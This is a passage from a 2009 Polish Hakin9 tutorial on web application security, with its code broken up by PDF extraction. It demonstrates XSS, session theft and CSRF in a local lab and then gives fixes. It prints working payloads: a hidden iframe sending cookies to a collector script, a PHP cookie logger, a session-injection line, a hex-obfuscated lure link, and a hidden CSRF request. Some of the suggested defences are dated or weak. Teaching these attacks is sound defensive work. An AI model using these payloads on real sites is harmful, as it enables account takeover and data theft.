$user
;
public
function
__construct
()
{
$this
->
interval
=
1000
;
// liczba sekund zalogowania
$this
->
session_name
=
'hackin9'
;
}
public
function
__destruct
()
{
if
(
$this
->
mysqli
)
$this
->
mysqli
->
close
();
}
private
function
connect_db
(
$db_host
,
$db_user
,
$db_pass
,
$db_name
)
{
$this
->
mysqli
=
new
mysqli
(
$db_host
,
$db_user
,
$db_pass
,
$db_name
);
if
(
mysqli_connect_errno
())
return
false
;
return
true
;
}
public
function
log_in
(
$user
,
$pass
,
$db_host
=
DBHOST
,
$db_user
=
DBUSER
,
$db_pass
=
DBPASS
,
$db_name
=
DBNAME
)
{
if
(
!
$this
->
mysqli
&& !
$this
->
connect_db
(
$db_host
,
$db_user
,
$db_pass
,
$db_name
))
{
return
false
;
}
// zabezpieczenie przed SQL-injection
$user
=
mysql_escape_string
(
$user
);
$pass
=
mysql_escape_string
(
$pass
);
$format
=
'SELECT 1 from users WHERE '
.
' login = "%s" AND pass = password("%s")'
;
$query
=
sprintf
(
$format
,
$user
,
$pass
);
if
(
!
$result
=
$this
->
mysqli
->
query
(
$query
))
return
false
;
// bledne zapytanie
if
(
$result
->
num_rows
==
0
)
return
false
;
// nie ma takiego usera
$result
->
close
();
$this
->
user
=
$user
;
$info
=
array
(
// stworz informacje o użytkowniku
'user'
=>
$this
->
user
,
'hash'
=>
$this
->
md5_hash
,
'time'
=>
time
()
+
$this
->
interval
);
// i zapisz ją w sesji
$_SESSION
[
$this
->
session_name
]
=
$info
;
return
true
;
}
public
function
is_logged
()
{
// użytkownik wcale nie jest zalogowany lub minął czas
if
(
!
isset
(
$_SESSION
[
$this
->
session_name
])
||
$_SESSION
[
$this
->
session_name
][
'time'
]
<
time
())
return
false
;
// wszystko ok - wydłuż zalogowanie o $this->interval
$_SESSION
[
$this
->
session_name
][
'time'
]
=
time
()
+
$this
->
interval
;
$this
->
user
=
$_SESSION
[
$this
->
session_name
][
'user'
];
return
true
;
}
public
function
get_user_name
()
{
return
$this
->
user
;
}
}
?>
OBRONA
62
HAKIN9 9/2009
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
63
HAKIN9
9/2009
A także klasę cLogin odpowiedzialną
za logowanie (hackin9/xss/
cLogin.php) – kod widoczny na Listingu
27.
Oraz tradycyjnie plik konfiguracyjny
hackin9/config.php – Listing 28.
Dodaj jeszcze do tabeli w bazie
danych użytkownika (będziemy kraść
sesję tego użytkownika) – Listing 29.
Brakuje jeszcze dwóch plików:
hackin9/xss/inputs.txt oraz hackin9/
xss/hacker/stolenSessions.htm. Stwórz
je. W obu umieść tylko po jednej spacji.
Po tych wszystkim zabiegach drzewo
katalogów powinno się prezentować jak
na Rysunku 3.
Jeśli już to wszystko zrobiłeś, czas
na pokazanie przykładowych psikusów
(do nich nie musisz się logować,
logowania użyjemy za chwilę).
Dodawanie własnego kodu do
strony – w pole tekstowe wpisujemy kod
pokazany na Listingu 31.
I wstawiamy na stronie obrońców
praw zwierząt piękną reklamę futer z
norek.
Uprzykrzanie życia
użytkownikowi
Wpisujemy kod widoczny na Listingu 31.
Przy każdym ruszeniu myszą będzie się
pojawiał komunikat.
Kradzież klienta
Listing 32 – zaraz po wczytaniu tego
kodu, zostaniemy przeniesieni na stronę
konkurencji. Do zastosowania np. w
komentarzach do produktów na stronie
e-sklepu.
Zbieranie informacji
o użytkownikach
Oprócz kodu, który może być irytujący
lub szkodzić interesom firmy (przez
odstraszanie lub podkradanie
klientów) może się jeszcze trafić kod,
który spowoduje, że nasz system
zostanie narażony na prawdziwe
niebezpieczeństwo. Stanie się to,
kiedy napastnik przejmie kontrolę nad
którymś kontem.
Krok 1 – zalogowanie się na stronie
(patrz Rysunek 4) używając przeglądarki
1 (może to być np. Firefox).
Listing 28.
Kod pliku z konfiguracją hackin9/config.php
<?PHP
if
(
$CONFIG_INCLUDE
!==
true
)
die
(
"Błąd konfiguracji"
);
define
(
'DBHOST'
,
'localhost'
);
define
(
'DBNAME'
,
'test'
);
// na tej bazie danych będziemy pracować
define
(
'DBUSER'
,
'user'
);
// używając tego użytkownika
define
(
'DBPASS'
,
'pass'
);
?>
Listing 29.
Dodanie nowewgo użytkownika do bd
INSERT
INTO
users
VALUES
(
'user'
,
password
(
'pass'
));
Listing 30.
Dodawanie swojego kodu HTML do kodu strony
<a
href=
'http://reklama.pl'
><img
src=
'http://hacker.net/images/banner.jpg'
></a>
Listing 31.
Dodanie skryptu JS utrudiającego poruszanie się po stronie
<script>window
.
addEventListener
(
'mousemove'
,
alert
(
'a'
)
,
false
);
</script>
Listing 32.
Podkradanie klienta
<script>document
.
location
=
'http://konkurencja.pl'
</script>
Listing 33.
Złośliwy kod HTML
Fajna strona. Naprawdę mi się podoba!
<iframe
width=
"0"
height=
"0"
frameborder=
"0"
src=
"javascript:void(document.location
='http://127.0.0.1/hackin9/xss/hacker/index.php?cookie='+doc
ument.cookie)"
></iframe>
Listing 34.
Kod strony hackin9/xss/hacker/index.php
<?PHP
function
add
(
$cookie
,
$server
)
{
$date
=
date
(
"j/F/Y g:i a"
);
$ip
=
$server
[
'REMOTE_ADDR'
];
$addr
=
$server
[
'HTTP_REFERER'
];
$info
=
sprintf
(
'data: %s, numer sesji: <b>%s</b>, ip: %s, adres: %s<hr />'
,
$date
,
$cookie
,
$ip
,
$addr
);
$file
=
fopen
(
'stolenSessions.htm'
,
'a+'
);
fwrite
(
$file
,
$info
);
fclose
(
$file
);
}
if
(
isset
(
$_GET
[
'cookie'
]))
{
add
(
$_GET
[
'cookie'
],
$_SERVER
);
}
?>
Listing 35.
Frtagment pliku stolenSessions.htm
data: 1/May/2009 9:06, numer sesji: PHPSESSID=s5dkog2j0k8oa836g2dn66m0k2,
ip: 127.0.0.1, adres: http://127.0.0.1/xss/index.php
OBRONA
64
HAKIN9 9/2009
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
65
HAKIN9
9/2009
Krok 2 – (patrz Rysunek 5.) za pomocą
przeglądarki 2 (np. Safari – musi być
to inna przeglądarka niż ta z kroku 1)
wchodzimy na stronę księgi gości i
dodajemy wpis zawierający niebezpieczny
kod widoczny na Listingu 33.
Jak widać całość sprawia wrażenie
normalnego wpisu do księgi gości
– pływająca ramka (iframe) jest
niewidoczna, ze względu na rozmiary,
jakie jej nadaliśmy. Nie zmienia to
jednak faktu, że istnieje i wczytuje
stronę. Jaka to będzie strona?
http://127.0.0.1/hackin9/xss/hacker/index
.php?cookie='+document.cookie
Kod strony hacker/index.php jest
widoczny na Listingu 34.
Kod z Listingu 34. pozwala
zapisywać w pliku stolenSessions.htm
ciągi znaków zawierające przydatne do
kradzieży sesji dane.
W pliku stolenSessions.htm
zapisywane są dane podobne do tych
prezentowanych na Listingu 35.
Szczególnie interesuje nas
pogrubiony fragment Listingu 35. Jest
to numer sesji naszej ofiary.
Krok 3 – wejdźmy ponownie na stronę
księgi gości (za pomocą przeglądarki
1) i jeśli nie jesteśmy zalogowani
– zalogujmy się, zobaczymy wpis dodany
z przeglądarki 2 (patrz Rysunek 6).
Krok 4 – za pomocą przeglądarki
2 otwieramy stronę. http://127.0.0.1/
hackin9/xss/hacker/stolenSessions.htm
(patrz Rysunek 7), kopiujemy informacje
o numerze sesji (pogrubiony i
podświetlony kawałek), przechodzimy
na stronę księgi gości i zapisujemy
numer sesji w przeglądarce 2 poprzez
wpisanie w polu adresu przeglądarki 2
(u mnie – Safari) kodu JS widocznego
na Listingu 36.
Gdzie
PHPSESSID=95d86g3mi52d9
dj65q63t71f96
to numer sesji pobrany
ze strony stolenSessions.htm – może i
pewnie będzie inny. Pamiętaj, aby użyć
apostrofów albo cudzysłowów – tak jak
w przykładowym kodzie. Nie musisz,
a nawet nie powinieneś podawać
żadnego protokołu, patrz Rysunek 8.
Krok 5 – przechodzimy za pomocą
przeglądarki 2 na stronę http://127.0.0.1/
hacking9/xss/ i... jesteśmy zalogowani!
Bez logowania. Właśnie ukradliśmy cudzą
sesję.
Przechwyciliśmy sesję. System
logowania myśli, że ma do czynienia
Rysunek 5.
Wprowadzanie niebezpiecznego kodu HTML z pomocą formularza
Rysunek 6.
Wygląd księgi gości po dodaniu złośliwego kodu
Rysunek 7.
Wygląd strony stolenSessions.htm
Rysunek 8.
Zapisywanie numeru skradzionego numeru sesji do przeglądarki
napastnika
OBRONA
64
HAKIN9 9/2009
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
65
HAKIN9
9/2009
z tym samym użytkownikiem,
który zalogował się uprzednio na
przeglądarce 1 (na rysunkach
Firefox).
Jak się przed tym zabezpieczyć?
Można zastosować dwupoziomowe
uwierzytelnianie użytkownika:
• Zwykłe logowanie oparte o sesję.
• Pobieranie danych o systemie
operacyjnym, przeglądarce, IP itp.
(tablica superglobalna $_SERVER
w PHP oferuje sporo informacji
o internaucie). Odpowiednio
zaszyfrowane dane przechowujemy
w sesji. Za każdym razem w ten
sam sposób tworzymy token i
porównujemy z tym, zapisanym w
sesji.
Poprawki do klasy cLogin są widoczne
na Listingu 37. (porównaj z Listingiem
27).
Podczas logowania (w metodzie
cLogin::log _ in()
) zostaje zapisany
w sesji specjalny 32-znakowy kod
– wartość tego kodu jest uzależniona
od tego jakiej przeglądarki używa
internauta, jakiego systemu
operacyjnego itp. Dzięki temu, aby
podrobić ten kod trzeba by mieć
dokładnie taką samą przeglądarkę
(łącznie z wersją) oraz taki sam
system operacyjny. Dodatkowo można
to wzmocnić dodając numer IP.
Dodanie do ciągu wejściowego
$this->sault
sprawia, że nawet jeśli
ktoś dowiedziałby w jaki sposób jest
generowany ten kod, trudniej byłoby
mu odgadnąć wartość dodaną przez
serwer.
Powyższa klasa nie pozwoli już
na kradzież sesji w sposób opisany
wcześniej. Należy pamiętać, aby
bezwarunkowo i zawsze traktować
dane pochodzące z zewnątrz jako
zagrożenie dla bezpieczeństwa
naszego systemu. Jeśli pozwalamy
użytkownikowi wprowadzać dane, które
potem będziemy wyświetlać innym
użytkownikom, to należy:
• Zamienić znaczniki na odpowiednie
kody. Np.
'<' = '<'
, za pomocą
funkcji
htmlentities()
Listing 36.
Kod JS, który należy wpisać w pole adresu przeglądarki
javascript
:
void
(
document
.
cookie
=
'PHPSESSID=95d86g3mi52d9dj65q63t71f96'
)
Listing 37.
Poprawiony kod klasy cLogin
class
cLogin
{
// wszystkie poprzednie właściwości
protected
$
sault
;
// do ochrony przeciw xss
protected
$
md5_hash
;
// do ochrony przeciw xss
public
function
__construct
()
{
$
this
->
interval
=
1000
;
$
this
->
session_name
= '
hackin9
'
;
$
this
->
sault
= '
hackin9_xss
'
;
$
this
->
xss_protection
();
}
private
function
xss_protection
()
{
$
data
= $
_SERVER
[
'
HTTP_USER_AGENT
'
];
$
this
->
md5_hash
=
md5
(
$
data
.
$
this
->
sault
);
// WAŻNE
}
public
function
log_in
(
$
user
,
$
pass
,
$
db_host
=
DBHOST
,
$
db_user
=
DBUSER
,
$
db_pass
=
DBPASS
,
$
db_name
=
DBNAME
)
{
// bez zmian – wkleić stamtąd
$
info
=
array
(
'
user
' => $
this
->
user
,
'
hash
' => $
this
->
md5_hash
,
// jedyna zmiana
'
time
' =>
time
()
+ $
this
->
interval
);
$
_SESSION
[
$
this
->
session_name
]
= $
info
;
return
true
;
}
public
function
is_logged
()
{
if
(
!
isset
(
$
_SESSION
[
$
this
->
session_name
])
||
$
_SESSION
[
$
this
->
session_name
][
'
time
'
]
<
time
())
return
false
;
// NAJWAŻNIEJSZA ZMIANA
if
(
$
this
->
md5_hash
!= $
_SESSION
[
$
this
->
session_name
][
'
hash
'
])
{
return
false
;
// ktos probuje ukrasc sesje
}
$
_SESSION
[
$
this
->
session_name
][
'
time
'
]
=
time
()
+
$
this
->
interval
;
$
this
->
user
= $
_SESSION
[
$
this
->
session_name
][
'
user
'
];
return
true
;
}
}
?>
Listing 38.
Kod strony index.php
<html><body>
<form
action=
'index.php'
method=
"get"
>
<table>
<tr><td>
<input
type=
"text"
name=
"s"
value=
"<?PHP echo $_GET['s']; ?>"
/>
</td></tr>
<tr><td><input
type=
'submit'
value=
'szukaj'
/></td></tr>
</table>
</form>
</body>
</html>
OBRONA
66
HAKIN9 9/2009
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
67
HAKIN9
9/2009
lub
• Usunąć znaczniki, np. za pomocą
funkcji
strip _ tags()
.
lub
• Zakazać jakiegokolwiek
formatowania wprowadzanych
danych za pomocą HTML
(można pozwolić używać np.
bbcode).
XSS metodą GET (non-
persistant XSS)
Przedstawiona powyżej metoda działa
statycznie – kod zostaje zapisany i za
każdym razem wyświetlany wszystkim
odwiedzającym stronę. Można także
skorzystać z metody GET (wstawiając
złośliwy kod w adres url) i przesłać
komuś link z groźnym kodem.
Często na stronach znaleźć możemy
wyszukiwarkę. Dla wygody internauty
wykorzystuje się w niej metodę GET,
dzięki czemu można komuś wysłać
link odpowiednim zestawem słów
kluczowych i innych ustawień. Załóżmy,
że posiadamy stronę z wyszukiwarką
widoczną na Listingu 38.
Wpiszmy teraz w pole taką frazę:
"><input type="text" value="zawładnę
światem
W polu adresu pojawi się coś bliżej
nieokreślonego (Listing 39).
A obok dotychczasowego jednego
pola pojawi się drugie (Rysunek 10).
Listing 39.
URL widoczny po wysłaniu spreparowanej frazy
http://127.0.0.1/hackin9/xss2/index.php?s=%22%3E%3Cinput+type%3D%22text%22+value%3D%22zaw%C5%82adn%C4%99+%C5%9Bwiatem
Listing 40.
URL widoczny po wysłaniu spreparowanej frazy
Krzysztof Kolumb">
<iframe
width=
"0"
height=
"0"
frameborder=
"0"
src=
"javascript:void(document.location='http://127.0.0.1/xss/hack
er.php?cookie='+document.cookie)"
></iframe>
Listing 41.
Spreparowany link
http://127.0.0.1/xss/wyszukiwarka.php?s=Krzysztof+Kolumb%22%3E%3Ciframe+width%3D%220%22+height%3D%220%22+frameborder%3D%220%22+s
rc%3D%22javascript%3Avoid(document.location%3D%27http%3A%2F%2F127.0.0.1%2Fxss%2Fhacker.php%3Fcookie%3D%27%
2Bdocument.cookie)%22%3E%3C%2Fiframe%3E%3Cimg+width%3D%220%22+height%3D%220%22+border%3D%220%22+src%3D%22
Listing 42.
Kod wywołujący ponownie tę samą stronę – już bez wstrzykiwania złośliwego kodu
Krzysztof+Kolumb">
<iframe
width=
"0"
height=
"0"
frameborder=
"0"
src=
"javascript:void(document.location='http://127.0.0.1/xss/hack
er.php?cookie='+document.cookie)"
></iframe>
<script>document
.
location
=
'http://127.0.0.1/hackin9/xss2/?s=Krzysztof+Kolumb'
;
</script>
Listing 43.
Odpowiednio przygotowany link, ukrywający niosący kod
http://127.0.0.1/hackin9/xss2/?s=Krzysztof+Kolumb%22%3e%3c%69%66%72%61%6d%65%20%77%69%64%74%68%3d%22%30%22%20%68%65%69%67%68%7
4%3d%22%30%22%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%22%30%22%20%73%72%63%3d%22%6a%61%76%61%73%63%72%69%
70%74%3a%76%6f%69%64%28%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%31%
32%37%2e%30%2e%30%2e%31%2f%78%73%73%2f%68%61%63%6b%65%72%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%6
3%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%22%3e%3c%2f%69%66%72%61%6d%65%3e%a%3c%73%63%72%69%70%74%3e%64%6f%
63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%2f%68%6
1%63%6b%69%6e%39%2f%78%73%73%32%3f%73%3d%4b%72%7a%79%73%7a%74%6f%66%2b%4b%6f%6c%75%6d%62%27%3b%3c%2f%73%63
%72%69%70%74%3e
Listing 44.
Poprawiony kod wyszukiwarki
<html>
<body>
<form
action=
'index.php'
method=
"get"
>
<table>
<tr><td>
<input
type=
"text"
name=
"s"
value=
"<?PHP echo htmlentities($_GET['s']); ?>"
/>
</td></tr>
<tr><td><input
type=
'submit'
value=
'szukaj'
/></td></tr>
</table>
</form>
</body>
</html>
OBRONA
66
HAKIN9 9/2009
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
67
HAKIN9
9/2009
Skoro możemy zrobić coś takiego,
możemy też wstawić tam ukrytą
pływającą ramkę, która będzie robić
dokładnie to samo, co poprzednio
– wysyłać dane do zdalnego
serwera!
Jak spreparować taki kod?
Na Listingu 40. widać kod, który wstawi
pływającą ramkę. Niestety jest jeszcze
jedna rzecz, która zdradza, że coś jest
nie tak. To znaki " /> na końcu. Można
się tego pozbyć na kilka sposobów:
• Dokleić na koniec poprzedniego
ciągu znaków:
„<span
style="color: #fff">”
co
spowoduje wizualne ukrycie.
• Dokleić do końca
„<img
width="0" height="0"
border="0" src="”.
Drugi sposób wydaje mi się lepszy.
Tak więc, należy komuś przekazać, np.
na jakimś forum pisząc zobacz jaki
fajny link ciąg znaków widoczny na
Listingu 41.
Co gdy użytkownik nie będzie taki
zwykły i zajrzy w kod strony? Zauważy,
że coś tam jest namieszane.
Należy zwrócić uwagę na ostatnią
linię Listingu 42 – po wykonaniu
złośliwego kodu spowoduje
wyświetlenie strony http://127.0.0.1/
hackin9/xss2?s=Krzysztof+Kolumb.
Nawet bardzo uważny internauta może
nie dostrzec, że coś się stało.
Nadal widać pewien problem.
W linku tym można się dopatrzyć
dziwnych słów jak iframe, script
czy document.cookie. To może
spowodować, że ktoś nie zdecyduje się
kliknąć w ten link.
Listing 45.
Kod formularza do zobrazowania ataków CSRF
<?PHP
session_start
();
?>
<html><body>
<h1>
Panel administracyjny
</h1>
<?PHP
$CONFIG_INCLUDE
=
true
;
include_once
(
'../config.php'
);
$mysqli
=
new
mysqli
(
DBHOST
,
DBUSER
,
DBPASS
,
DBNAME
);
function
add
(
$mysqli
,
$name
)
{
$name
=
mysql_escape_string
(
htmlentities
(
$name
));
$q
=
sprintf
(
'INSERT INTO list VALUES("%s")'
,
$name
);
return
$mysqli
->
query
(
$q
);
}
function
read
(
$mysqli
)
{
$q
=
'SELECT * FROM list'
;
$result
=
$mysqli
->
query
(
$q
);
$arr
=
array
();
while
(
$row
=
$result
->
fetch_assoc
())
$arr
[]
=
$row
[
'name'
];
$result
->
close
();
return
$arr
;
}
include_once
(
'cLogin.php'
);
$login
=
new
cLogin
();
if
(
$login
->
is_logged
())
{
?>
<form
action=
"index.php"
method=
"post"
>
<p>
Dodaj:
<input
type=
"text"
name=
"name"
/>
<input
type=
"submit"
name=
"add"
value=
"zapisz"
/></p>
</form>
<?PHP
// tylko user moze dodawac nowe tresci
if
(
$login
->
get_user_name
()
===
'user'
)
{
if
(
isset
(
$_REQUEST
[
'add'
]))
{
add
(
$mysqli
,
$_REQUEST
[
'name'
]);
}
}
$list
=
read
(
$mysqli
);
$n
=
count
(
$list
);
echo
'<ul>'
;
for
(
$i
=
0
;
$i
<
$n
;
$i
++
)
echo
'<li>'
.
$list
[
$i
]
.
'</li>'
;
echo
'</ul>'
;
}
else
{
?>
<h2>
Zaloguj
</h2>
<form
action=
"login.php"
method=
"post"
>
<input
type=
"text"
name=
"login"
/>
<input
type=
"password"
name=
"pass"
/>
<input
type=
"submit"
value=
"zaloguj"
/>
</form>
<?PHP
}
$mysqli
->
close
();
?>
</body></html>
Register_globals
Dawniej często wykorzystywało
się skrócony zapis. Np. zmienna
$_POST['a'] mogła zostać użyta jako
$a. Teraz domyślnie jest to wyłączone
– opcja register_globals = Off w pliku
php.ini. Zarówno korzystanie ze tablicy
$_REQUEST, jak i włączenie register_
globals jest niebezpieczne i należy tego
unikać.
OBRONA
68
HAKIN9 9/2009
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
69
HAKIN9
9/2009
Spróbujmy to zmienić. Zakodujmy
to! Każdy znak można zapisać w
postaci jego kodu (np. spacja to '%20').
Przeglądarka potrafi sobie z tym
poradzić, bez problemu. Przeciętny
człowiek – raczej nie.
Za pomocą strony http:
//centricle.com/tools/ascii-hex/,
Zakodujemy ciąg z Listingu 42.
Otrzymamy to co widzimy na Listingu
43.
Początek wkleiłem już po
zakodowaniu. Możesz wkleić taki link na
forum albo podesłać komuś na gg. Po
chwili internauta udostępni nam swoje
dane, o czym nawet nie będzie wiedział
– z powodu dodania skryptu JS
przenoszącego pod adres rzeczywiście
oczekiwanej strony.
Jak się przed tym zabezpieczyć?
Nie pozwalać na to, aby kod html trafiał
na stronę. Do zabezpieczenia przed tym
dobrze jest zastosować funkcje:
•
htmlentities($code)
– zmienia
kod html na encje np. > zmienia na
> itp.,
•
strip _ tags($code) –
całkowite
usunięcie tagów HTML z ciągu
znaków.
• Jeśli chcemy umożliwić
użytkownikowi dodawanie np.
formatowania tekstu w księdze
gości to warto się zastanowić nad
użyciem gotowego systemu typu
BBcode, który zawiera dokładnie
taki zakres znaczników, jaki chcemy
dać internaucie.
Można wstawić ogranicznik długości
podanej frazy, co choćby częściowo
może nas zabezpieczyć.
Poprawiony kod wyszukiwarki
można przeanalizować na Listingu 44
(porównaj z Listingiem 38).
I to już pozwala nam spać trochę
spokojniej. Oczywiście – w przypadku
wyszukiwarki należy nadal pamiętać
o atakach SQL Injection. System
zabezpieczeń jest tak dobry jak jego
najsłabsze ogniwo.
Cross-Site
Request Forgery
(CSRF lub XSRF) to metoda ataku na
serwis internetowy. Ofiarami CSRF
stają się użytkownicy nieświadomie
przesyłający do serwera żądania
spreparowane przez osoby o wrogich
zamiarach. W przeciwieństwie do XSS,
ataki te nie są wymierzone w strony
internetowe i nie muszą powodować
zmiany ich treści. Celem hakera jest
wykorzystanie uprawnień ofiary do
wykonania operacji wymagających jej
zgody.
Dla zobrazowania zasady działania
tego ataku przygotowałem formularz
widoczny na Listingu 45.
Jedynie użytkownik o nazwie
user może dodawać nowe wpisy.
Wykorzystana tu tablica superglobalna
$_REQUEST pozwala na zapisywanie
danych pobieranych zarówno metodą
GET jak i POST.
Zagrożenia
Jeśli użytkownik o loginie user jest
zalogowany, można podać mu
spreparowany kod, który spowoduje
zapis danych do bazy bez jego wiedzy
i zgody.
Na przykład, taki z pozoru niegroźny
kod jaki widać na Listingu 46, zapisze
nową pozycję do listy.
Jak widać zamiast obrazka zostanie
wczytany skrypt – tak, można to zrobić!
Wywołaliśmy skrypt z Listingu 45. który
zapisze coś do bazy danych.
Co gorsze, użytkownik nawet nie
będzie wiedział, że cokolwiek się stało,
gdyż nie zobaczy żadnego komunikatu,
a bez analizy kodu takiej strony nie jest
w stanie dostrzec ukrytego obrazka.
Rozwiązanie:
• Należy unikać stosowania tablicy
$_REQUEST (i zawsze wyłączać
register_globals – lub jeśli nie
mamy dostępu do php.ini – unikać
ich stosowania) w jej miejsce w
newralgicznych miejscach stosować
metodę POST (zamiast GET)
Rysunek 9.
Zalogowany z użyciem przechwyconej sesji
Rysunek 10.
Dynamiczne dodanie kodu
OBRONA
68
HAKIN9 9/2009
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
69
HAKIN9
9/2009
– metodą POST trudniej podsunąć
spreparowany link.
• Należy używać jednorazowego
tokena. Token ten raz
wygenerowany powinno się
zapisać w sesji oraz przesłać
razem z formularzem. Dzięki
czemu można założyć z dużym
prawdopodobieństwem, że ktoś
chce wykonać żądaną akcję
– wypełnił samodzielnie formularz.
O ile można samemu przesłać
wygenerować wartość jakiegoś
tokena (wypełniając tym puste
pole formularza), to praktycznie
niewykonalnym jest odgadnięcie
jaką wartość ma rzeczywisty token
generowany przez serwer.
Zmodyfikujmy formularz – dodając
ukryte pole token, tak aby był on
odporniejszy na taki atak. Patrz
Listing 47.
Wprowadźmy zmiany w kodzie PHP,
tak jak na Listingu 48.
Sprawdzamy, czy dany użytkownik
ma prawo zapisu (czy login == user)
oraz czy token użytkownika jest
identyczny z tym przesłanym poprzez
formularz.
Dodatkowo generujemy nowy token
– za każdym przeładowaniem strony
tworzony jest nowy – jednorazowy
– token.
Przy takich zabezpieczeniach
zagrożenie wykorzystania uprawnień
użytkownika bez jego wiedzy i zgody
zdecydowanie maleje.
Podsumowanie
Bezpieczeństwo tworzonych przez nas
aplikacji – choć często niewidoczne
– jest kwestią najważniejszą. Niech
zdanie przecież działa od dziś nie
przechodzi Wam przez gardło.
Przedstawiony w tym artykule
materiał to dopiero wierzchołek góry
lodowej. Mam jednak nadzieję, że taki
wstęp sprawi, iż chętniej będziemy
sięgać po kolejne porady, artykuły czy
książki. Niestety w polskim Internecie
nie ma zbyt wielu interesujących źródeł.
Pozostają jednak zawsze globalne
zasoby sieci WWW.
Gdybyś chciał poczytać o lukach
w zabezpieczeniach znanych w Polsce
stron www, oto ciekawe linki, które
znajdziesz w Ramce W Sieci.
W Sieci
• http://webmade.org/porady/wiersz-polecen-mysql-windows.php – porada o korzystaniu
z wiersza poleceń do zarządzania systemem bazy danych MySQL,
• http://sql.pressmedia.com.pl/ – spis poleceń SQL,
• http://cc-team.org/index.php?name=bugtraq – strona o lukach w zabezpieczeniach znanych w Polsce stron www,
• www.wikipedia.pl.
Listing 46.
Atak CSRF
<html>
<body>
<h1>
Witaj na stronie!
</h1>
<img
src=
"http://127.0.0.1/hackin9/xsrf/index.php?add=true&name=tosiezapisze"
width=
"0"
height=
"0"
border=
"0"
/>
</body>
</html>
Listing 47.
Zmieniony fragment Listingu 45 – kod HTML
<form
action=
"index_poprawione.php"
method=
"post"
>
<p>
Dodaj:
<input
type=
"text"
name=
"name"
/>
<input
type=
"submit"
name=
"add"
value=
"zapisz"
/></p>
<input
type=
"hidden"
name=
"token"
value=
"<?PHP echo $token; ?>"
/>
</form>
Listing 48.
Zmieniony fragment Listingu 45 – kod PHP
// wlasciwy uzytkownik
if ($login->get_user_name() === 'user') {
// generuj token
$token = md5(time() . $_SERVER['HTTP_USER_AGENT']);
// został wyslany formularz
if (isset($_POST['add'])
// ustawiono w formularzu token
&& isset($_SESSION['token'])
// token pobrany z formularza jest identyczny z tym z sesji
&& $_SESSION['token'] === $_POST['token']) {
// mozemy zalozyc, ze to prawdziwy user i naprawdę chce tego
add($_POST['name']);
}
}
$_SESSION['token'] = $token;
// zapisz nowy token do sesji
Patryk Jar
Autor jest studentem Politechniki Gdańskiej. Zajmuje
się tworzeniem aplikacji internetowych – zarówno
kodem client- jak i server-side. W wolnych chwilach
redaguje serwis webmade.org, moderuje tamtejsze
forum oraz trenuje judo.
Kontakt z autorem: jar.patryk@gmail.com